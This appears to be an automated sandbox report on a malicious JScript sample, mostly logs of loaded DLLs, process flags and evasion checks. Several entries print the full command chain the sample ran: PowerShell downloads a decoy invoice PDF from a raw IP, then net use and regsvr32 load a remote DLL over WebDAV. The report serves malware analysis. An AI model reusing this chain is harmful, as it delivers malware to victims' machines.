Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7970.js.csv");ITextStream.WriteLine(" entry:7458 f:abxiamsjf");ITextStream.WriteLine(" exec:2 f:abxiamsjf");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4210			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5244			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7688	Thread sleep count: 4210 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7692	Thread sleep count: 5244 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7756	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7772	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7672	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7784	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7960	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7208	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1495205646.0000017DEEED0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW ?
Source: net.exe, 00000007.00000002.1499738799.0000017DEEF30000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2718771957.00000232D642B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2720221136.00000232DBA55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
